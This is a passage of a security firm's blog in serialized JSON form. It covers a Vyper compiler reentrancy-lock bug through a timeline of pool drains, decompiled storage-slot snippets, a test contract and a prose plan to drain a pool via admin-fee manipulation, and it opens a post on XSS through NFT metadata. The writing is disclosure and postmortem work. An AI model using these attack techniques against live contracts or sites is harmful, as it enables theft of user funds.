bodyCopier",{"type":23,"tag":481,"props":27818,"children":27819},{"style":525},[27820],{"type":28,"value":618},{"type":23,"tag":481,"props":27822,"children":27823},{"style":508},[27824],{"type":28,"value":27668},{"type":23,"tag":481,"props":27826,"children":27827},{"style":525},[27828],{"type":28,"value":199},{"type":23,"tag":481,"props":27830,"children":27831},{"style":610},[27832],{"type":28,"value":27833},"operations",{"type":23,"tag":481,"props":27835,"children":27836},{"style":525},[27837],{"type":28,"value":27838},"());`\n",{"type":23,"tag":73,"props":27840,"children":27841},{"start":351},[27842],{"type":23,"tag":77,"props":27843,"children":27844},{},[27845],{"type":28,"value":27846},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":23,"tag":24,"props":27848,"children":27849},{},[27850],{"type":28,"value":27851},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":23,"tag":31,"props":27853,"children":27854},{"id":2860},[27855],{"type":28,"value":2863},{"type":23,"tag":24,"props":27857,"children":27858},{},[27859],{"type":28,"value":27860},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":23,"tag":24,"props":27862,"children":27863},{},[27864],{"type":28,"value":27865},"It's a promise between YUL generation and optimization.",{"type":23,"tag":15916,"props":27867,"children":27869},{"className":27868,"dataFootnotes":7},[15919],[27870,27875],{"type":23,"tag":31,"props":27871,"children":27873},{"className":27872,"id":12970},[15924],[27874],{"type":28,"value":15927},{"type":23,"tag":73,"props":27876,"children":27877},{},[27878,27912],{"type":23,"tag":77,"props":27879,"children":27881},{"id":27880},"user-content-fn-1",[27882,27884,27889,27891,27897,27899,27904,27906],{"type":28,"value":27883},"As an interesting aside, ",{"type":23,"tag":64,"props":27885,"children":27887},{"className":27886},[],[27888],{"type":28,"value":26884},{"type":28,"value":27890}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":23,"tag":64,"props":27892,"children":27894},{"className":27893},[],[27895],{"type":28,"value":27896},"memory-unsafe",{"type":28,"value":27898}," code can ",{"type":23,"tag":127,"props":27900,"children":27901},{},[27902],{"type":28,"value":27903},"decrease",{"type":28,"value":27905}," gas consumption, especially in the YUL header. ",{"type":23,"tag":190,"props":27907,"children":27910},{"href":27908,"ariaLabel":16030,"className":27909,"dataFootnoteBackref":7},"#user-content-fnref-1",[16032],[27911],{"type":28,"value":16035},{"type":23,"tag":77,"props":27913,"children":27915},{"id":27914},"user-content-fn-2",[27916,27918,27923,27925],{"type":28,"value":27917},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":23,"tag":127,"props":27919,"children":27920},{},[27921],{"type":28,"value":27922},"guarantee",{"type":28,"value":27924}," behavior with opaque bytes. ",{"type":23,"tag":190,"props":27926,"children":27929},{"href":27927,"ariaLabel":16050,"className":27928,"dataFootnoteBackref":7},"#user-content-fnref-2",[16032],[27930],{"type":28,"value":16035},{"type":23,"tag":2918,"props":27932,"children":27933},{},[27934],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":27936},[27937,27938,27939,27940,27941,27942,27943],{"id":26528,"depth":351,"text":26531},{"id":26582,"depth":351,"text":26585},{"id":26846,"depth":351,"text":26849},{"id":26577,"depth":351,"text":27070},{"id":27417,"depth":351,"text":27420},{"id":2860,"depth":351,"text":2863},{"id":12970,"depth":351,"text":15927},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":27948,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":27949,"description":27950,"author":3195,"image":27951,"date":27953,"isFeatured":15,"onBlogPage":15,"tags":27954,"body":27956,"_type":358,"_id":28707,"_source":360,"_file":28708,"_stem":28709,"_extension":363},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":27952,"height":11111,"width":11111},"/posts/vyper-timeline/header.jpg","2023-08-01",[27955,26523],"vyper",{"type":20,"children":27957,"toc":28698},[27958,27963,27968,27973,27979,27984,28002,28012,28017,28025,28035,28054,28134,28144,28304,28309,28314,28324,28331,28336,28341,28355,28360,28377,28394,28413,28423,28436,28441,28454,28459,28464,28474,28501,28511,28541,28547,28556,28562,28567,28572,28577,28583,28588,28602,28607,28612,28617,28623,28628,28641,28667,28672,28694],{"type":23,"tag":24,"props":27959,"children":27960},{},[27961],{"type":28,"value":27962},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":23,"tag":24,"props":27964,"children":27965},{},[27966],{"type":28,"value":27967},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":23,"tag":24,"props":27969,"children":27970},{},[27971],{"type":28,"value":27972},"Here's how it all happened.",{"type":23,"tag":31,"props":27974,"children":27976},{"id":27975},"timeline",[27977],{"type":28,"value":27978},"Timeline",{"type":23,"tag":24,"props":27980,"children":27981},{},[27982],{"type":28,"value":27983},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":23,"tag":24,"props":27985,"children":27986},{},[27987,27992,27994,28001],{"type":23,"tag":2875,"props":27988,"children":27989},{},[27990],{"type":28,"value":27991},"13:10 UTC",{"type":28,"value":27993}," pETH/ETH was ",{"type":23,"tag":190,"props":27995,"children":27998},{"href":27996,"rel":27997},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[194],[27999],{"type":28,"value":28000},"drained of $11M",{"type":28,"value":199},{"type":23,"tag":24,"props":28003,"children":28004},{},[28005,28010],{"type":23,"tag":2875,"props":28006,"children":28007},{},[28008],{"type":28,"value":28009},"13:19 UTC",{"type":28,"value":28011}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":23,"tag":24,"props":28013,"children":28014},{},[28015],{"type":28,"value":28016},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":23,"tag":426,"props":28018,"children":28019},{},[28020],{"type":23,"tag":24,"props":28021,"children":28022},{},[28023],{"type":28,"value":28024},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":23,"tag":24,"props":28026,"children":28027},{},[28028,28033],{"type":23,"tag":2875,"props":28029,"children":28030},{},[28031],{"type":28,"value":28032},"14:01 UTC",{"type":28,"value":28034}," A warroom was formed around this comment.",{"type":23,"tag":24,"props":28036,"children":28037},{},[28038,28043,28045,28052],{"type":23,"tag":2875,"props":28039,"children":28040},{},[28041],{"type":28,"value":28042},"14:07 UTC",{"type":28,"value":28044}," We decompiled the JPEGd contract ",{"type":23,"tag":190,"props":28046,"children":28049},{"href":28047,"rel":28048},"https://ethervm.io/decompile",[194],[28050],{"type":28,"value":28051},"with our favorite decompiler",{"type":28,"value":28053}," and noted a difference in reentrancy guard storage slot.",{"type":23,"tag":435,"props":28055,"children":28059},{"className":28056,"code":28057,"language":28058,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n if (storage[0x00]) { revert(memory[0x00:0x00]); }\n storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n if (storage[0x02]) { revert(memory[0x00:0x00]); }\n storage[0x02] = 0x01;\n","yul",[28060],{"type":23,"tag":64,"props":28061,"children":28062},{"__ignoreMap":7},[28063,28071,28079,28087,28095,28102,28110,28118,28126],{"type":23,"tag":481,"props":28064,"children":28065},{"class":483,"line":484},[28066],{"type":23,"tag":481,"props":28067,"children":28068},{},[28069],{"type":28,"value":28070},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":23,"tag":481,"props":28072,"children":28073},{"class":483,"line":351},[28074],{"type":23,"tag":481,"props":28075,"children":28076},{},[28077],{"type":28,"value":28078},"label_0057:\n",{"type":23,"tag":481,"props":28080,"children":28081},{"class":483,"line":531},[28082],{"type":23,"tag":481,"props":28083,"children":28084},{},[28085],{"type":28,"value":28086}," if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":481,"props":28088,"children":28089},{"class":483,"line":567},[28090],{"type":23,"tag":481,"props":28091,"children":28092},{},[28093],{"type":28,"value":28094}," storage[0x00] = 0x01;\n",{"type":23,"tag":481,"props":28096,"children":28097},{"class":483,"line":678},[28098],{"type":23,"tag":481,"props":28099,"children":28100},{"emptyLinePlaceholder":15},[28101],{"type":28,"value":1210},{"type":23,"tag":481,"props":28103,"children":28104},{"class":483,"line":784},[28105],{"type":23,"tag":481,"props":28106,"children":28107},{},[28108],{"type":28,"value":28109},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":23,"tag":481,"props":28111,"children":28112},{"class":483,"line":812},[28113],{"type":23,"tag":481,"props":28114,"children":28115},{},[28116],{"type":28,"value":28117},"label_1AF3:\n",{"type":23,"tag":481,"props":28119,"children":28120},{"class":483,"line":825},[28121],{"type":23,"tag":481,"props":28122,"children":28123},{},[28124],{"type":28,"value":28125}," if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":481,"props":28127,"children":28128},{"class":483,"line":843},[28129],{"type":23,"tag":481,"props":28130,"children":28131},{},[28132],{"type":28,"value":28133}," storage[0x02] = 0x01;\n",{"type":23,"tag":24,"props":28135,"children":28136},{},[28137,28142],{"type":23,"tag":2875,"props":28138,"children":28139},{},[28140],{"type":28,"value":28141},"14:27 UTC",{"type":28,"value":28143}," We confirmed this behavior with a simple local test contract.",{"type":23,"tag":435,"props":28145,"children":28147},{"className":16958,"code":28146,"language":16957,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n return False\n",[28148],{"type":23,"tag":64,"props":28149,"children":28150},{"__ignoreMap":7},[28151,28159,28180,28215,28227,28234,28241,28260,28292],{"type":23,"tag":481,"props":28152,"children":28153},{"class":483,"line":484},[28154],{"type":23,"tag":481,"props":28155,"children":28156},{"style":610},[28157],{"type":28,"value":28158},"@external\n",{"type":23,"tag":481,"props":28160,"children":28161},{"class":483,"line":351},[28162,28167,28171,28176],{"type":23,"tag":481,"props":28163,"children":28164},{"style":610},[28165],{"type":28,"value":28166},"@nonreentrant",{"type":23,"tag":481,"props":28168,"children":28169},{"style":525},[28170],{"type":28,"value":618},{"type":23,"tag":481,"props":28172,"children":28173},{"style":1805},[28174],{"type":28,"value":28175},"\"lock\"",{"type":23,"tag":481,"props":28177,"children":28178},{"style":525},[28179],{"type":28,"value":675},{"type":23,"tag":481,"props":28181,"children":28182},{"class":483,"line":531},[28183,28188,28193,28197,28202,28207,28211],{"type":23,"tag":481,"props":28184,"children":28185},{"style":497},[28186],{"type":28,"value":28187},"def",{"type":23,"tag":481,"props":28189,"children":28190},{"style":610},[28191],{"type":28,"value":28192}," test",{"type":23,"tag":481,"props":28194,"children":28195},{"style":525},[28196],{"type":28,"value":618},{"type":23,"tag":481,"props":28198,"children":28199},{"style":508},[28200],{"type":28,"value":28201},"addr",{"type":23,"tag":481,"props":28203,"children":28204},{"style":525},[28205],{"type":28,"value":28206},": address) -> ",{"type":23,"tag":481,"props":28208,"children":28209},{"style":943},[28210],{"type":28,"value":27199},{"type":23,"tag":481,"props":28212,"children":28213},{"style":525},[28214],{"type":28,"value":211},{"type":23,"tag":481,"props":28216,"children":28217},{"class":483,"line":567},[28218,28222],{"type":23,"tag":481,"props":28219,"children":28220},{"style":535},[28221],{"type":28,"value":14481},{"type":23,"tag":481,"props":28223,"children":28224},{"style":497},[28225],{"type":28,"value":28226}," True\n",{"type":23,"tag":481,"props":28228,"children":28229},{"class":483,"line":678},[28230],{"type":23,"tag":481,"props":28231,"children":28232},{"emptyLinePlaceholder":15},[28233],{"type":28,"value":1210},{"type":23,"tag":481,"props":28235,"children":28236},{"class":483,"line":784},[28237],{"type":23,"tag":481,"props":28238,"children":28239},{"style":610},[28240],{"type":28,"value":28158},{"type":23,"tag":481,"props":28242,"children":28243},{"class":483,"line":812},[28244,28248,28252,28256],{"type":23,"tag":481,"props":28245,"children":28246},{"style":610},[28247],{"type":28,"value":28166},{"type":23,"tag":481,"props":28249,"children":28250},{"style":525},[28251],{"type":28,"value":618},{"type":23,"tag":481,"props":28253,"children":28254},{"style":1805},[28255],{"type":28,"value":28175},{"type":23,"tag":481,"props":28257,"children":28258},{"style":525},[28259],{"type":28,"value":675},{"type":23,"tag":481,"props":28261,"children":28262},{"class":483,"line":825},[28263,28267,28272,28276,28280,28284,28288],{"type":23,"tag":481,"props":28264,"children":28265},{"style":497},[28266],{"type":28,"value":28187},{"type":23,"tag":481,"props":28268,"children":28269},{"style":610},[28270],{"type":28,"value":28271}," test2",{"type":23,"tag":481,"props":28273,"children":28274},{"style":525},[28275],{"type":28,"value":618},{"type":23,"tag":481,"props":28277,"children":28278},{"style":508},[28279],{"type":28,"value":28201},{"type":23,"tag":481,"props":28281,"children":28282},{"style":525},[28283],{"type":28,"value":28206},{"type":23,"tag":481,"props":28285,"children":28286},{"style":943},[28287],{"type":28,"value":27199},{"type":23,"tag":481,"props":28289,"children":28290},{"style":525},[28291],{"type":28,"value":211},{"type":23,"tag":481,"props":28293,"children":28294},{"class":483,"line":843},[28295,28299],{"type":23,"tag":481,"props":28296,"children":28297},{"style":535},[28298],{"type":28,"value":14481},{"type":23,"tag":481,"props":28300,"children":28301},{"style":497},[28302],{"type":28,"value":28303}," False\n",{"type":23,"tag":24,"props":28305,"children":28306},{},[28307],{"type":28,"value":28308},"This was not just another reentrancy bug.",{"type":23,"tag":24,"props":28310,"children":28311},{},[28312],{"type":28,"value":28313},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":23,"tag":24,"props":28315,"children":28316},{},[28317,28322],{"type":23,"tag":2875,"props":28318,"children":28319},{},[28320],{"type":28,"value":28321},"14:37 UTC",{"type":28,"value":28323}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":23,"tag":24,"props":28325,"children":28326},{},[28327],{"type":23,"tag":149,"props":28328,"children":28330},{"alt":7,"src":28329},"/posts/vyper-timeline/sstore.png",[],{"type":23,"tag":24,"props":28332,"children":28333},{},[28334],{"type":28,"value":28335},"It was a race with the hackers.",{"type":23,"tag":24,"props":28337,"children":28338},{},[28339],{"type":28,"value":28340},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":23,"tag":426,"props":28342,"children":28343},{},[28344],{"type":23,"tag":24,"props":28345,"children":28346},{},[28347,28349],{"type":28,"value":28348},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":23,"tag":190,"props":28350,"children":28353},{"href":28351,"rel":28352},"https://twitter.com/hexagate_/status/1685677801813217280",[194],[28354],{"type":28,"value":28351},{"type":23,"tag":24,"props":28356,"children":28357},{},[28358],{"type":28,"value":28359},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":23,"tag":24,"props":28361,"children":28362},{},[28363,28368,28369,28376],{"type":23,"tag":2875,"props":28364,"children":28365},{},[28366],{"type":28,"value":28367},"14:50 UTC",{"type":28,"value":3935},{"type":23,"tag":190,"props":28370,"children":28373},{"href":28371,"rel":28372},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[194],[28374],{"type":28,"value":28375},"msETH/ETH was drained",{"type":28,"value":199},{"type":23,"tag":24,"props":28378,"children":28379},{},[28380,28385,28386,28393],{"type":23,"tag":2875,"props":28381,"children":28382},{},[28383],{"type":28,"value":28384},"15:34 UTC",{"type":28,"value":3935},{"type":23,"tag":190,"props":28387,"children":28390},{"href":28388,"rel":28389},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[194],[28391],{"type":28,"value":28392},"alETH/ETH was drained",{"type":28,"value":199},{"type":23,"tag":24,"props":28395,"children":28396},{},[28397,28402,28404,28411],{"type":23,"tag":2875,"props":28398,"children":28399},{},[28400],{"type":28,"value":28401},"15:43 UTC",{"type":28,"value":28403}," We identified that ",{"type":23,"tag":190,"props":28405,"children":28408},{"href":28406,"rel":28407},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[194],[28409],{"type":28,"value":28410},"CRV/ETH was vulnerable",{"type":28,"value":28412},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":23,"tag":24,"props":28414,"children":28415},{},[28416,28421],{"type":23,"tag":2875,"props":28417,"children":28418},{},[28419],{"type":28,"value":28420},"16:11 UTC",{"type":28,"value":28422}," We began working on a whitehat exploit.",{"type":23,"tag":24,"props":28424,"children":28425},{},[28426,28428,28435],{"type":28,"value":28427},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":23,"tag":190,"props":28429,"children":28432},{"href":28430,"rel":28431},"https://twitter.com/vyperlang/status/1685692973051498497",[194],[28433],{"type":28,"value":28434},"public statement on affected versions",{"type":28,"value":199},{"type":23,"tag":24,"props":28437,"children":28438},{},[28439],{"type":28,"value":28440},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":23,"tag":24,"props":28442,"children":28443},{},[28444,28446,28453],{"type":28,"value":28445},"Five minutes later at 19:11 UTC, ",{"type":23,"tag":190,"props":28447,"children":28450},{"href":28448,"rel":28449},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[194],[28451],{"type":28,"value":28452},"somebody else stole the funds",{"type":28,"value":199},{"type":23,"tag":24,"props":28455,"children":28456},{},[28457],{"type":28,"value":28458},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":23,"tag":24,"props":28460,"children":28461},{},[28462],{"type":28,"value":28463},"Nevertheless, there was more ground to cover.",{"type":23,"tag":24,"props":28465,"children":28466},{},[28467,28472],{"type":23,"tag":2875,"props":28468,"children":28469},{},[28470],{"type":28,"value":28471},"21:26 UTC",{"type":28,"value":28473}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":23,"tag":426,"props":28475,"children":28476},{},[28477],{"type":23,"tag":24,"props":28478,"children":28479},{},[28480,28482,28486,28488,28491,28493,28496,28498],{"type":28,"value":28481},"if you send like 30k crv to the crv/eth pool ",{"type":23,"tag":28483,"props":28484,"children":28485},"br",{},[],{"type":28,"value":28487},"\nyou can then update admin fee ",{"type":23,"tag":28483,"props":28489,"children":28490},{},[],{"type":28,"value":28492},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":23,"tag":28483,"props":28494,"children":28495},{},[],{"type":28,"value":28497},"\nso you can basically drain whole pool for few hundred K crv ",{"type":23,"tag":28483,"props":28499,"children":28500},{},[],{"type":23,"tag":24,"props":28502,"children":28503},{},[28504,28509],{"type":23,"tag":2875,"props":28505,"children":28506},{},[28507],{"type":28,"value":28508},"21:52 UTC",{"type":28,"value":28510}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":23,"tag":24,"props":28512,"children":28513},{},[28514,28516,28523,28525,28532,28540],{"type":28,"value":28515},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":23,"tag":190,"props":28517,"children":28520},{"href":28518,"rel":28519},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[194],[28521],{"type":28,"value":28522},"CRV admin fee bot",{"type":28,"value":28524}," had claimed fees and ",{"type":23,"tag":190,"props":28526,"children":28529},{"href":28527,"rel":28528},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[194],[28530],{"type":28,"value":28531},"the pool was drained",{"type":23,"tag":12963,"props":28533,"children":28534},{},[28535],{"type":23,"tag":190,"props":28536,"children":28538},{"href":27137,"ariaDescribedBy":28537,"dataFootnoteRef":7,"id":27139},[12970],[28539],{"type":28,"value":1558},{"type":28,"value":199},{"type":23,"tag":31,"props":28542,"children":28544},{"id":28543},"blame",[28545],{"type":28,"value":28546},"Blame",{"type":23,"tag":24,"props":28548,"children":28549},{},[28550,28554],{"type":23,"tag":127,"props":28551,"children":28552},{},[28553],{"type":28,"value":28546},{"type":28,"value":28555}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":23,"tag":7092,"props":28557,"children":28559},{"id":28558},"races",[28560],{"type":28,"value":28561},"Races",{"type":23,"tag":24,"props":28563,"children":28564},{},[28565],{"type":28,"value":28566},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":23,"tag":24,"props":28568,"children":28569},{},[28570],{"type":28,"value":28571},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":23,"tag":24,"props":28573,"children":28574},{},[28575],{"type":28,"value":28576},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":23,"tag":7092,"props":28578,"children":28580},{"id":28579},"information-leakage",[28581],{"type":28,"value":28582},"Information Leakage",{"type":23,"tag":24,"props":28584,"children":28585},{},[28586],{"type":28,"value":28587},"I was both an auditor and a whitehat.",{"type":23,"tag":24,"props":28589,"children":28590},{},[28591,28593,28600],{"type":28,"value":28592},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":23,"tag":190,"props":28594,"children":28597},{"href":28595,"rel":28596},"https://twitter.com/osec_io/status/1579969927020412929",[194],[28598],{"type":28,"value":28599},"by publishing the \"scoop\"",{"type":28,"value":28601}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":23,"tag":24,"props":28603,"children":28604},{},[28605],{"type":28,"value":28606},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":23,"tag":24,"props":28608,"children":28609},{},[28610],{"type":28,"value":28611},"Half an hour more could have saved $18M.",{"type":23,"tag":24,"props":28613,"children":28614},{},[28615],{"type":28,"value":28616},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":23,"tag":31,"props":28618,"children":28620},{"id":28619},"next-steps",[28621],{"type":28,"value":28622},"Next Steps",{"type":23,"tag":24,"props":28624,"children":28625},{},[28626],{"type":28,"value":28627},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":23,"tag":24,"props":28629,"children":28630},{},[28631,28633,28640],{"type":28,"value":28632},"It's important to note that this bug ",{"type":23,"tag":190,"props":28634,"children":28637},{"href":28635,"rel":28636},"https://twitter.com/real_philogy/status/1685948253139857409",[194],[28638],{"type":28,"value":28639},"was patched since November 2021",{"type":28,"value":199},{"type":23,"tag":426,"props":28642,"children":28643},{},[28644],{"type":23,"tag":24,"props":28645,"children":28646},{},[28647,28649,28654,28655,28658,28660,28665],{"type":28,"value":28648},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":23,"tag":127,"props":28650,"children":28651},{},[28652],{"type":28,"value":28653},"processes",{"type":28,"value":16026},{"type":23,"tag":28483,"props":28656,"children":28657},{},[],{"type":28,"value":28659},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":23,"tag":127,"props":28661,"children":28662},{},[28663],{"type":28,"value":28664},"was",{"type":28,"value":28666}," fixed.",{"type":23,"tag":24,"props":28668,"children":28669},{},[28670],{"type":28,"value":28671},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":23,"tag":15916,"props":28673,"children":28675},{"className":28674,"dataFootnotes":7},[15919],[28676,28681],{"type":23,"tag":31,"props":28677,"children":28679},{"className":28678,"id":12970},[15924],[28680],{"type":28,"value":15927},{"type":23,"tag":73,"props":28682,"children":28683},{},[28684],{"type":23,"tag":77,"props":28685,"children":28686},{"id":27880},[28687,28689],{"type":28,"value":28688},"Thankfully, these funds were later returned. ",{"type":23,"tag":190,"props":28690,"children":28692},{"href":27908,"ariaLabel":16030,"className":28691,"dataFootnoteBackref":7},[16032],[28693],{"type":28,"value":16035},{"type":23,"tag":2918,"props":28695,"children":28696},{},[28697],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":28699},[28700,28701,28705,28706],{"id":27975,"depth":351,"text":27978},{"id":28543,"depth":351,"text":28546,"children":28702},[28703,28704],{"id":28558,"depth":531,"text":28561},{"id":28579,"depth":531,"text":28582},{"id":28619,"depth":351,"text":28622},{"id":12970,"depth":351,"text":15927},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":28711,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":28712,"description":28713,"author":28714,"image":28717,"date":28719,"isFeatured":15,"tags":28720,"onBlogPage":15,"body":28723,"_type":358,"_id":32936,"_source":360,"_file":32937,"_stem":32938,"_extension":363},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[28715,28716],"caue","bruno",{"src":28718,"height":11111,"width":11111},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[28721,28722],"nft-marketplaces","xss",{"type":20,"children":28724,"toc":32919},[28725,28729,28734,28738,28743,28748,28753,28769,28775,28788,28810,28817,28822,28829,28834,28840,28845,28850,28855,28860,28871,28876,29845,29855,29867,29874,29879,30701,30706,30711,30716,30721,31505,31510,31592,31597,31666,31672,31677,31682,31909,31922,31927,31932,31937,31944,31949,31956,31962,31967,31972,31977,32296,32301,32307,32323,32329,32334,32339,32349,32354,32359,32368,32373,32379,32395,32408,32413,32418,32438,32445,32450,32457,32466,32471,32492,32545,32550,32601,32615,32620,32634,32749,32772,32856,32879,32884,32889,32894,32899,32904,32910,32915],{"type":23,"tag":31,"props":28726,"children":28727},{"id":26528},[28728],{"type":28,"value":26531},{"type":23,"tag":24,"props":28730,"children":28731},{},[28732],{"type":28,"value":28733},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":23,"tag":7092,"props":28735,"children":28736},{"id":411},[28737],{"type":28,"value":414},{"type":23,"tag":24,"props":28739,"children":28740},{},[28741],{"type":28,"value":28742},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":23,"tag":24,"props":28744,"children":28745},{},[28746],{"type":28,"value":28747},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":23,"tag":31,"props":28749,"children":28750},{"id":28722},[28751],{"type":28,"value":28752},"XSS",{"type":23,"tag":24,"props":28754,"children":28755},{},[28756],{"type":23,"tag":127,"props":28757,"children":28758},{},[28759,28761,28768],{"type":28,"value":28760},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":23,"tag":190,"props":28762,"children":28765},{"href":28763,"rel":28764},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[194],[28766],{"type":28,"value":28767},"even explain it to myself",{"type":28,"value":199},{"type":23,"tag":7092,"props":28770,"children":28772},{"id":28771},"managing-metadata",[28773],{"type":28,"value":28774},"Managing Metadata",{"type":23,"tag":24,"props":28776,"children":28777},{},[28778,28780,28787],{"type":28,"value":28779},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":23,"tag":190,"props":28781,"children":28784},{"href":28782,"rel":28783},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[194],[28785],{"type":28,"value":28786},"payloads",{"type":28,"value":199},{"type":23,"tag":24,"props":28789,"children":28790},{},[28791,28793,28800,28802,28808],{"type":28,"value":28792},"We showcase this vulnerability in the ",{"type":23,"tag":190,"props":28794,"children":28797},{"href":28795,"rel":28796},"https://rocki.com/",[194],[28798],{"type":28,"value":28799},"Rocki Marketplace",{"type":28,"value":28801},". The ",{"type":23,"tag":64,"props":28803,"children":28805},{"className":28804},[],[28806],{"type":28,"value":28807},"artistDescription",{"type":28,"value":28809}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":23,"tag":24,"props":28811,"children":28812},{},[28813],{"type":23,"tag":149,"props":28814,"children":28816},{"alt":7,"src":28815},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":23,"tag":24,"props":28818,"children":28819},{},[28820],{"type":28,"value":28821},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their 